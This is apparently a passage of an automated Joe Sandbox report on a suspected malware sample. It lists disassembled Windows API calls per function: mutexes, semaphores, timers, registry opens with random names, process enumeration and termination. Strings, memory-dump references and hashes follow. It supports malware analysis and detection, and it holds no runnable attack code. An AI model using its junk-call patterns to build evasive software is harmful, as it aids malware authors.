TerminateProcess.KERNEL32(00000000,00000000), ref: 00410C45
CloseHandle.KERNEL32(00000000), ref: 00410C5A
Process32NextW.KERNEL32(004053C4,0000022C), ref: 00410C6A
CloseHandle.KERNEL32(004053C4), ref: 00410C7B

Strings

m8x9ht2t, xrefs: 0041093D
WTMR_7iribpf6, xrefs: 00410B45
log: ytwevqk3, xrefs: 00410BDF
WTMR_a0ss9wdx, xrefs: 00410AA3
s_pknlsuvt, xrefs: 004108E2
reglpxu0xo8, xrefs: 004109D2
s8wwaaz1, xrefs: 00410938
s_ux5gvdyn, xrefs: 00410BA3
wrhmc8vv, xrefs: 00410B70
MTX3sjtcbw7, xrefs: 00410A48
log: 9q14ufaj, xrefs: 00410C26
log: 4me9msp2, xrefs: 00410BD1
WTMR_0t639lm2, xrefs: 00410B86
swiz1phc, xrefs: 00410B6B
alv9hf2e, xrefs: 00410A60
SMPHR_ktnmwlpc, xrefs: 0041099B
SMPHR_uzuq0txh, xrefs: 00410C06
log: gemonsps, xrefs: 00410A38
8wrjdbkk, xrefs: 0041096B
log: rj8zylhb, xrefs: 00410983
reg6izi2r34, xrefs: 00410AF4
XMLbqmcbthz, xrefs: 00410944
n94ksdbh, xrefs: 00410A2A
WTMR_8jlihpgf, xrefs: 00410AD8
u7pd1nqh, xrefs: 00410970
5rdtdj93, xrefs: 00410A25
oha0mee2, xrefs: 00410A65
log: rayduebd, xrefs: 00410AB1
WTMR_l9ge1xes, xrefs: 00410918
XML3hsqiezb, xrefs: 00410A0D
s_am0kdk0s, xrefs: 004109FB
reg0ykmvh9z, xrefs: 00410A97
XMLpjh5kqox, xrefs: 00410BEE
reg2q2nfjzz, xrefs: 00410ACC
SMPHR_iiw2eehb, xrefs: 00410A70
ev_m2uczuuz, xrefs: 004108F7

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$Semaphore$TimerWaitable$Release$CloseDebugFindOutputString$CancelEnvironmentFileOpenVariable$FirstLocal$EventHandle$AllocErrorFreeLastMappingMutexProcessProcess32$NextResetSnapshotTerminateToolhelp32lstrcmpi
String ID: 5rdtdj93$8wrjdbkk$MTX3sjtcbw7$SMPHR_iiw2eehb$SMPHR_ktnmwlpc$SMPHR_uzuq0txh$WTMR_0t639lm2$WTMR_7iribpf6$WTMR_8jlihpgf$WTMR_a0ss9wdx$WTMR_l9ge1xes$XML3hsqiezb$XMLbqmcbthz$XMLpjh5kqox$alv9hf2e$ev_m2uczuuz$log: 4me9msp2$log: 9q14ufaj$log: gemonsps$log: rayduebd$log: rj8zylhb$log: ytwevqk3$m8x9ht2t$n94ksdbh$oha0mee2$reg0ykmvh9z$reg2q2nfjzz$reg6izi2r34$reglpxu0xo8$s8wwaaz1$s_am0kdk0s$s_pknlsuvt$s_ux5gvdyn$swiz1phc$u7pd1nqh$wrhmc8vv
API String ID: 1485270703-2415265535
Opcode ID: c9ca579449d68747eb72b2f572622b20d4366bcb5f1c95c6ea3301a4c8873a4a
Instruction ID: ceb805ea35637b110c27d8cb8aa9065b91930de03fb745e6a5b969cb8694a297
Opcode Fuzzy Hash: c9ca579449d68747eb72b2f572622b20d4366bcb5f1c95c6ea3301a4c8873a4a
Instruction Fuzzy Hash: CD918471A81314BBE7205BB09D4DFDB3E68EB49B55F128122F705E61D0C6F89990CB6C

Function 0041046B Relevance: 173.5, APIs: 64, Strings: 35, Instructions: 298
timeregistrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
CloseHandle.KERNEL32(00000000), ref: 0041048F
SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
GetLastError.KERNEL32 ref: 004104B5
CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
LocalFree.KERNEL32(00000000), ref: 004104F1
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
SetEvent.KERNEL32(00000000), ref: 00410509
ResetEvent.KERNEL32(00000000), ref: 00410510
FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
FindClose.KERNEL32(00000000), ref: 00410529
CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
ReleaseMutex.KERNEL32(00000000), ref: 00410549
RegOpenKeyExA.ADVAPI32(80000001,regl8m1kb4h,00000000,00020019,?), ref: 00410562
LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
ReleaseMutex.KERNEL32(00000000), ref: 0041058A
OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
GetLastError.KERNEL32 ref: 00410595
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0
RegOpenKeyExA.ADVAPI32(80000001,reglyujgopb,00000000,00020019,?), ref: 004105CA
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_pgsav695), ref: 004105D5
SetEvent.KERNEL32(00000000), ref: 004105DE
ResetEvent.KERNEL32(00000000), ref: 004105E5
RegOpenKeyExA.ADVAPI32(80000001,reg7wr0yj7j,00000000,00020019,?), ref: 00410603
CreateSemaphoreA.KERNEL32(00000009,00000009,00000001,SMPHR_msu22t8e), ref: 00410613
ReleaseSemaphore.KERNEL32(00000000,00000001,00000009), ref: 0041061D
LocalAlloc.KERNEL32(00000009,00000910), ref: 00410629
RegOpenKeyExA.ADVAPI32(80000001,regmn1sr42d,00000000,00020019,?), ref: 00410646
LocalFree.KERNEL32(00000000), ref: 00410649
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_nsa3lkk8), ref: 00410658
SetEnvironmentVariableA.KERNEL32(oeccnwig,r71az981), ref: 0041066A
CancelWaitableTimer.KERNEL32(00000000), ref: 00410677
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_wrh03xuv), ref: 00410682
CancelWaitableTimer.KERNEL32(00000000), ref: 0041068D
OutputDebugStringA.KERNEL32(log: y8y2sdbt), ref: 00410696
LocalAlloc.KERNEL32(00000040,00000208), ref: 004106AA
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000EDF,00000000), ref: 004106E4
OutputDebugStringA.KERNEL32(log: gbqp396p), ref: 004106F1
CloseHandle.KERNEL32(00000000), ref: 004106F4
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_eit19lf5), ref: 00410704
CancelWaitableTimer.KERNEL32(00000000), ref: 0041070B
CreateMutexA.KERNEL32(00000000,00000000,MTXif5h2fc7), ref: 00410718
ReleaseMutex.KERNEL32(00000000), ref: 00410723
OutputDebugStringA.KERNEL32(log: ji256gpo), ref: 00410730
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_efeo27pa), ref: 0041073B
SetEvent.KERNEL32(00000000), ref: 00410744
ResetEvent.KERNEL32(00000000), ref: 0041074B
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_hp4lh5aa), ref: 0041075C
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 00410766
RegOpenKeyExA.ADVAPI32(80000001,regq2g61dtq,00000000,00020019,?), ref: 00410784
SetEnvironmentVariableA.KERNEL32(9gu1roig,6spfdy3l), ref: 00410796
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_mas2yytx), ref: 004107A0
OutputDebugStringA.KERNEL32(log: 6k4m6dqj), ref: 004107AD
CancelWaitableTimer.KERNEL32(00000000), ref: 004107B4
SetEnvironmentVariableA.KERNEL32(90c4q21d,2e08wpi0), ref: 004107C6
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML7rcc68gx), ref: 004107D3
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004107DD
StrCpyW.SHLWAPI(?,004116D7), ref: 004107EC
LocalFree.KERNEL32(004116D7), ref: 004107F5

Strings

WTMR_wrh03xuv, xrefs: 00410679
SMPHR_hp4lh5aa, xrefs: 00410751
MTX20fugzrs, xrefs: 0041052F
ev_88c4qzrn, xrefs: 004104F7
regq2g61dtq, xrefs: 0041077A
log: 6k4m6dqj, xrefs: 004107A6
9gu1roig, xrefs: 00410791
ev_efeo27pa, xrefs: 00410732
log: xkhuruup, xrefs: 0041058C
MTXif5h2fc7, xrefs: 00410711
oeccnwig, xrefs: 00410663
90c4q21d, xrefs: 004107C1
s_tdhyddm1, xrefs: 0041051D
XML7rcc68gx, xrefs: 004107C8
WTMR_mas2yytx, xrefs: 00410798
g41v9360, xrefs: 00410495
6dgac4un, xrefs: 0041049A
regl8m1kb4h, xrefs: 00410558
6spfdy3l, xrefs: 0041078C
log: ji256gpo, xrefs: 0041072B
WTMR_nsa3lkk8, xrefs: 0041064F
WTMR_vszfrk1v, xrefs: 004104A5
reg7wr0yj7j, xrefs: 004105F9
2e08wpi0, xrefs: 004107BC
reglyujgopb, xrefs: 004105C0
XML0tlu090e, xrefs: 0041059B
reg6l0e1w30, xrefs: 004104E4
ev_pgsav695, xrefs: 004105CC
SMPHR_msu22t8e, xrefs: 0041060A
log: gbqp396p, xrefs: 004106EA
WTMR_eit19lf5, xrefs: 004106FA
log: y8y2sdbt, xrefs: 00410691
MTX3jgp3d9d, xrefs: 00410571
regmn1sr42d, xrefs: 0041063C
r71az981, xrefs: 0041065E

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$TimerWaitable$Event$Semaphore$LocalRelease$MutexOpen$CancelDebugOutputString$AllocEnvironmentVariable$CloseFileFreeReset$ErrorFindHandleLastMapping$First
String ID: 2e08wpi0$6dgac4un$6spfdy3l$90c4q21d$9gu1roig$MTX20fugzrs$MTX3jgp3d9d$MTXif5h2fc7$SMPHR_hp4lh5aa$SMPHR_msu22t8e$WTMR_eit19lf5$WTMR_mas2yytx$WTMR_nsa3lkk8$WTMR_vszfrk1v$WTMR_wrh03xuv$XML0tlu090e$XML7rcc68gx$ev_88c4qzrn$ev_efeo27pa$ev_pgsav695$g41v9360$log: 6k4m6dqj$log: gbqp396p$log: ji256gpo$log: xkhuruup$log: y8y2sdbt$oeccnwig$r71az981$reg6l0e1w30$reg7wr0yj7j$regl8m1kb4h$reglyujgopb$regmn1sr42d$regq2g61dtq$s_tdhyddm1
API String ID: 311190257-3057322057
Opcode ID: af5538702eaca9927b72e9bc3a4b6c8c6a6801063d8ed98ebb563c1454d44a6b
Instruction ID: d50d539b647c9bc8976c7a704fcee4d817a83d31d900c51ee41baf84c742b36d
Opcode Fuzzy Hash: af5538702eaca9927b72e9bc3a4b6c8c6a6801063d8ed98ebb563c1454d44a6b
Instruction Fuzzy Hash: F4914171A81314BBE6106BB09D4DFDF3E69EB08B51F118122F705E61D1CAF89990CBAD

Function 0040F04B Relevance: 164.8, APIs: 63, Strings: 31, Instructions: 272
timeregistrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLfoin32jm), ref: 0040F06B
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F071
FindFirstFileA.KERNEL32(s_2m7sfpix,?), ref: 0040F083
FindClose.KERNEL32(00000000), ref: 0040F08A
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_27g0adz4), ref: 0040F098
GetLastError.KERNEL32 ref: 0040F0A0
CancelWaitableTimer.KERNEL32(00000000), ref: 0040F0A7
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_bnvim5xg), ref: 0040F0B6
SetEvent.KERNEL32(00000000), ref: 0040F0BF
ResetEvent.KERNEL32(00000000), ref: 0040F0C6
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000057E,00000000), ref: 0040F0D8
OutputDebugStringA.KERNEL32(log: talq6v0q), ref: 0040F0EB
CloseHandle.KERNEL32(00000000), ref: 0040F0EE
LocalAlloc.KERNEL32(00000000,0000079A), ref: 0040F0FC
LocalFree.KERNEL32(00000000), ref: 0040F103
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_x1fv76d7), ref: 0040F112
OutputDebugStringA.KERNEL32(log: k3uiediu), ref: 0040F11B
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F122
OutputDebugStringA.KERNEL32(log: tb6ni3l2), ref: 0040F131
LocalAlloc.KERNEL32(00000040,0000020A), ref: 0040F13A
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_quoar347), ref: 0040F14B
RegOpenKeyExA.KERNELBASE(80000001,regyzp63e35,00000000,00020019,?), ref: 0040F168
CancelWaitableTimer.KERNEL32(00000000), ref: 0040F173
LocalAlloc.KERNEL32(00000000,00000104), ref: 0040F181
LocalFree.KERNEL32(00000000), ref: 0040F188
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_1kl19pj6), ref: 0040F197
OutputDebugStringA.KERNEL32(log: kancg7t1), ref: 0040F1A4
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F1AC
RegOpenKeyExA.KERNELBASE(80000001,rega4f3edrn,00000000,00020019,0040980C), ref: 0040F1CA
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_5zvyeopl), ref: 0040F1D8
SetEnvironmentVariableA.KERNEL32(tmi2zmeb,oaoq0pe1), ref: 0040F1F0
CancelWaitableTimer.KERNEL32(00000000), ref: 0040F1F3
SetEnvironmentVariableA.KERNEL32(cocp4e6i,hlm3qsgc), ref: 0040F203
FindFirstFileA.KERNEL32(s_woh90ut1,?), ref: 0040F211
FindClose.KERNEL32(00000000), ref: 0040F218
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLr8dsqzb2), ref: 0040F229
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F233
CreateMutexA.KERNEL32(00000000,00000000,MTXlc2d7swa), ref: 0040F240
ReleaseMutex.KERNEL32(00000000), ref: 0040F24B
RegOpenKeyExA.KERNELBASE(80000001,regzzaf9643,00000000,00020019,0040980C), ref: 0040F265
SHGetFolderPathW.SHELL32(00000000,0000001C,00000000,00000000,00000000), ref: 0040F271
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_hidp652s), ref: 0040F288
SetEvent.KERNEL32(00000000), ref: 0040F291
ResetEvent.KERNEL32(00000000), ref: 0040F298
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_g7c4kr0x), ref: 0040F2A6
CancelWaitableTimer.KERNEL32(00000000), ref: 0040F2AD
OutputDebugStringA.KERNEL32(log: 11bup4rd), ref: 0040F2BE
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000AE7,00000000), ref: 0040F2CE
RegOpenKeyExA.KERNELBASE(80000001,reg752i9bce,00000000,00020019,0040980C), ref: 0040F2EB
FindCloseChangeNotification.KERNEL32(00000000), ref: 0040F2F2
OutputDebugStringA.KERNEL32(log: axqo56fh), ref: 0040F2FD
OutputDebugStringA.KERNEL32(log: 3mza1gnu), ref: 0040F304
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_zq50x0vc), ref: 0040F311
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F31B
GetLastError.KERNEL32 ref: 0040F325
OutputDebugStringA.KERNEL32(log: wegn6rp2), ref: 0040F332
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_xi23idum), ref: 0040F33C
GetLastError.KERNEL32 ref: 0040F344
CancelWaitableTimer.KERNEL32(00000000), ref: 0040F34F
LocalAlloc.KERNEL32(00000000,00000D0A), ref: 0040F35C
StrCpyW.SHLWAPI(?,00000000), ref: 0040F377
LocalFree.KERNEL32(00000000), ref: 0040F380
LocalFree.KERNEL32(00000000), ref: 0040F390

Strings

XMLfoin32jm, xrefs: 0040F05D
WTMR_5zvyeopl, xrefs: 0040F1D0
log: kancg7t1, xrefs: 0040F19D
log: k3uiediu, xrefs: 0040F114
regzzaf9643, xrefs: 0040F25B
rega4f3edrn, xrefs: 0040F1C0
log: 3mza1gnu, xrefs: 0040F2FF
SMPHR_1kl19pj6, xrefs: 0040F18E
WTMR_quoar347, xrefs: 0040F140
ev_bnvim5xg, xrefs: 0040F0AD
tmi2zmeb, xrefs: 0040F1EB
s_woh90ut1, xrefs: 0040F20C
log: wegn6rp2, xrefs: 0040F32D
regyzp63e35, xrefs: 0040F15E
SMPHR_zq50x0vc, xrefs: 0040F306
WTMR_g7c4kr0x, xrefs: 0040F29E
log: talq6v0q, xrefs: 0040F0E6
log: 11bup4rd, xrefs: 0040F2B9
oaoq0pe1, xrefs: 0040F1E6
SMPHR_x1fv76d7, xrefs: 0040F109
WTMR_xi23idum, xrefs: 0040F334
cocp4e6i, xrefs: 0040F1FE
s_2m7sfpix, xrefs: 0040F07E
reg752i9bce, xrefs: 0040F2E1
log: axqo56fh, xrefs: 0040F2F8
WTMR_27g0adz4, xrefs: 0040F090
log: tb6ni3l2, xrefs: 0040F12C
hlm3qsgc, xrefs: 0040F1F9
ev_hidp652s, xrefs: 0040F27F
MTXlc2d7swa, xrefs: 0040F239
XMLr8dsqzb2, xrefs: 0040F21E

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$SemaphoreTimerWaitable$DebugLocalOutputString$EventRelease$CancelFind$AllocCloseFileFreeOpen$ErrorLast$EnvironmentFirstMappingMutexResetVariable$ChangeFolderHandleNotificationPath
String ID: MTXlc2d7swa$SMPHR_1kl19pj6$SMPHR_x1fv76d7$SMPHR_zq50x0vc$WTMR_27g0adz4$WTMR_5zvyeopl$WTMR_g7c4kr0x$WTMR_quoar347$WTMR_xi23idum$XMLfoin32jm$XMLr8dsqzb2$cocp4e6i$ev_bnvim5xg$ev_hidp652s$hlm3qsgc$log: 11bup4rd$log: 3mza1gnu$log: axqo56fh$log: k3uiediu$log: kancg7t1$log: talq6v0q$log: tb6ni3l2$log: wegn6rp2$oaoq0pe1$reg752i9bce$rega4f3edrn$regyzp63e35$regzzaf9643$s_2m7sfpix$s_woh90ut1$tmi2zmeb
API String ID: 3814480433-2427282299
Opcode ID: 343680a635daf2653ddbbe7c7b053f6daa625389f77b050357182009df8c91c5
Instruction ID: a3b8a592e2c255ed02b62f76ac556ec950b9546e24d6d994e2b070b7a0a527a2
Opcode Fuzzy Hash: 343680a635daf2653ddbbe7c7b053f6daa625389f77b050357182009df8c91c5
Instruction Fuzzy Hash: E0813A31680710FBE6206BB19E4DFDF3E28EB8DB51F118225FB05E6190CAE85591CB6D

Function 0040F39D Relevance: 163.1, APIs: 63, Strings: 30, Instructions: 356
registrytimememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_540bzyah), ref: 0040F3B8
RegOpenKeyExA.ADVAPI32(80000001,reglshn8vnt,00000000,00020019,?), ref: 0040F3DB
CancelWaitableTimer.KERNEL32(00000000), ref: 0040F3E8
OutputDebugStringA.KERNEL32(log: f09wgrpi), ref: 0040F3F3
GetLastError.KERNEL32 ref: 0040F3FB
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000A48,00000000), ref: 0040F40B
CloseHandle.KERNEL32(00000000), ref: 0040F412
GetLastError.KERNEL32 ref: 0040F418
LocalAlloc.KERNEL32(00000000,000008A1), ref: 0040F420
RegOpenKeyExA.ADVAPI32(80000001,regmxln9m3x,00000000,00020019,?), ref: 0040F43D
LocalFree.KERNEL32(00000000), ref: 0040F440
RegOpenKeyExA.ADVAPI32(80000001,reg41hhobax,00000000,00020019,?), ref: 0040F45C
CreateMutexA.KERNEL32(00000000,00000000,MTXnr6z2i1t), ref: 0040F465
GetLastError.KERNEL32 ref: 0040F46D
ReleaseMutex.KERNEL32(00000000), ref: 0040F474
SetEnvironmentVariableA.KERNEL32(twacbax0,b1pdewg1), ref: 0040F487
CreateSemaphoreA.KERNEL32(00000009,00000009,00000001,XMLf2adb4jd), ref: 0040F49B
ReleaseSemaphore.KERNEL32(00000000,00000001,00000009), ref: 0040F4A5
RegOpenKeyExA.ADVAPI32(80000001,reglc1mu9uf,00000009,00020019,?), ref: 0040F4BF
CreateEventA.KERNEL32(00000009,00000001,00000009,ev_p2qhrn7v), ref: 0040F4CA
SetEvent.KERNEL32(00000000), ref: 0040F4D3
ResetEvent.KERNEL32(00000000), ref: 0040F4DA
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_atxl11oa), ref: 0040F4EB
GetLastError.KERNEL32 ref: 0040F4F3
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F4F9
OutputDebugStringA.KERNEL32(log: vv71kl0r), ref: 0040F508
lstrlenW.KERNEL32(?), ref: 0040F51A
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040F52A
CreateMutexA.KERNEL32(00000000,00000000,MTXxsb6c6w6), ref: 0040F54C
GetLastError.KERNEL32 ref: 0040F558
ReleaseMutex.KERNEL32(00000000), ref: 0040F55F
RegOpenKeyExA.ADVAPI32(80000001,reg1c0q6vdv,00000000,00020019,?), ref: 0040F598
RegOpenKeyExA.ADVAPI32(80000001,rego8k0qa8x,00000000,00020019,?), ref: 0040F5AF
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLo6240tag), ref: 0040F5BC
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F5C7
SetEnvironmentVariableA.KERNEL32(ekgjfmio,8caz5t1r), ref: 0040F5D7
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_bcdycgn8), ref: 0040F5E6
CancelWaitableTimer.KERNEL32(00000000), ref: 0040F5ED
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_h1hjjvsd), ref: 0040F5FC
SetEnvironmentVariableA.KERNEL32(uti3nwes,6axbhxel), ref: 0040F60F
CancelWaitableTimer.KERNEL32(?), ref: 0040F61D
RegOpenKeyExA.ADVAPI32(80000001,regw58rum3k,00000000,00020019,?), ref: 0040F638
LocalAlloc.KERNEL32(00000000,000005B1), ref: 0040F641
RegOpenKeyExA.ADVAPI32(80000001,reg5z89fjtc,00000000,00020019,?), ref: 0040F65E
LocalFree.KERNEL32(00000000), ref: 0040F665
RegOpenKeyExA.ADVAPI32(80000001,regcdik09hi,00000000,00020019,?), ref: 0040F680
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000091B,00000000), ref: 0040F696
CloseHandle.KERNEL32(00000000), ref: 0040F69D
GetLastError.KERNEL32 ref: 0040F6A3
CreateEventA.KERNEL32(00000003,00000001,00000003,ev_yjarpgl0), ref: 0040F6B7
SetEvent.KERNEL32(00000000), ref: 0040F6C0
ResetEvent.KERNEL32(00000000), ref: 0040F6C7
FindFirstFileA.KERNELBASE(s_g130xrij,?), ref: 0040F6D9
FindClose.KERNEL32(00000000), ref: 0040F6E0
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_8wkuq8rh), ref: 0040F6F1
lstrlenW.KERNEL32(?), ref: 0040F702
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040F712
StrStrW.SHLWAPI(00000000), ref: 0040F724
lstrlenW.KERNEL32(00000000), ref: 0040F78A

Part of subcall function 0040F7FA: StrCpyW.SHLWAPI(?,00000000), ref: 0040F94E
Part of subcall function 0040F7FA: LocalFree.KERNEL32(00000000), ref: 0040F95B

Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FEDC
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(uvfb6x9g,iyeph0nr), ref: 0040FEEC
Part of subcall function 0040FC69: GlobalFree.KERNELBASE(0040C0BE), ref: 0040FEF1

StrCpyW.SHLWAPI(?,?), ref: 0040F7C1
LocalFree.KERNEL32(00000000), ref: 0040F7CC

Part of subcall function 0040F7FA: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_mwlckks4,00000000,00000000,00000000,0040C192,00000000,00000000), ref: 0040F814
Part of subcall function 0040F7FA: SetEvent.KERNEL32(00000000), ref: 0040F81D
Part of subcall function 0040F7FA: ResetEvent.KERNEL32(00000000), ref: 0040F824
Part of subcall function 0040F7FA: SetEnvironmentVariableA.KERNEL32(9dn9ixt6,g80ghyj7), ref: 0040F83A
Part of subcall function 0040F7FA: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_xllvi1zq), ref: 0040F844
Part of subcall function 0040F7FA: OutputDebugStringA.KERNEL32(log: ad0nnw50), ref: 0040F851
Part of subcall function 0040F7FA: CancelWaitableTimer.KERNEL32(00000000), ref: 0040F862
Part of subcall function 0040F7FA: CreateMutexA.KERNEL32(00000000,00000000,MTXfv57b89w), ref: 0040F86D
Part of subcall function 0040F7FA: SetEnvironmentVariableA.KERNEL32(2nzstxud,rqosfwwo), ref: 0040F883
Part of subcall function 0040F7FA: ReleaseMutex.KERNEL32(00000000), ref: 0040F886
Part of subcall function 0040F7FA: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_dl2pyuqr), ref: 0040F896
Part of subcall function 0040F7FA: CancelWaitableTimer.KERNEL32(00000000), ref: 0040F89D
Part of subcall function 0040F7FA: GetLastError.KERNEL32 ref: 0040F8A5
Part of subcall function 0040F7FA: LocalAlloc.KERNEL32(00000000,00000798), ref: 0040F8AD
Part of subcall function 0040F7FA: LocalFree.KERNEL32(00000000), ref: 0040F8B4
Part of subcall function 0040F7FA: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLx9w8e9ar), ref: 0040F8C9
Part of subcall function 0040F7FA: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F8D5
Part of subcall function 0040F7FA: GetLastError.KERNEL32 ref: 0040F8D7
Part of subcall function 0040F7FA: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_f8nyo2d9), ref: 0040F8E4
Part of subcall function 0040F7FA: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F8EA
Part of subcall function 0040F7FA: RegOpenKeyExA.KERNELBASE(80000001,regnnjwwep9,00000000,00020019,?), ref: 0040F904
Part of subcall function 0040F7FA: lstrlenW.KERNEL32(?), ref: 0040F90E
Part of subcall function 0040F7FA: LocalAlloc.KERNEL32(00000040,00000000), ref: 0040F91E

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
